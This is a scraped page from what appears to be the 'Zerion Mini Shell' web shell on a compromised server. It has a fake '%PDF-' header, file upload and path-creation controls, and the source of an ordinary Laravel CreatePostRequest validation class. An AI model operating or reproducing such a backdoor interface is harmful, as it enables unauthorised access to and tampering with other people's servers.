%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/app/Http/Requests/Api/v1/Posts/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/app/Http/Requests/Api/v1/Posts/CreatePostRequest.php

<?php

namespace App\Http\Requests\Api\v1\Posts;

use App\Http\Requests\BaseRequest;

class CreatePostRequest extends BaseRequest
{
    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        return true;
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        return [
            'title'      => 'required|string',
            'type'       => 'nullable|string',
            'expires_at' => 'nullable|date',
            'fieldId'    => 'required|integer|exists:fields,id',
            'categoryId' => 'required|integer|exists:categories,id',
        ];
    }

    public function messages()
    {
        return [
            'fieldId.integer'     => 'Selected field is not valid.',
            'fieldId.exists'      => 'Selected field is not valid.',
            'categoryId.required' => 'Selected sport is not valid.',
            'categoryId.exists'   => 'Selected sport is not valid.',
        ];
    }

}

Zerion Mini Shell 1.0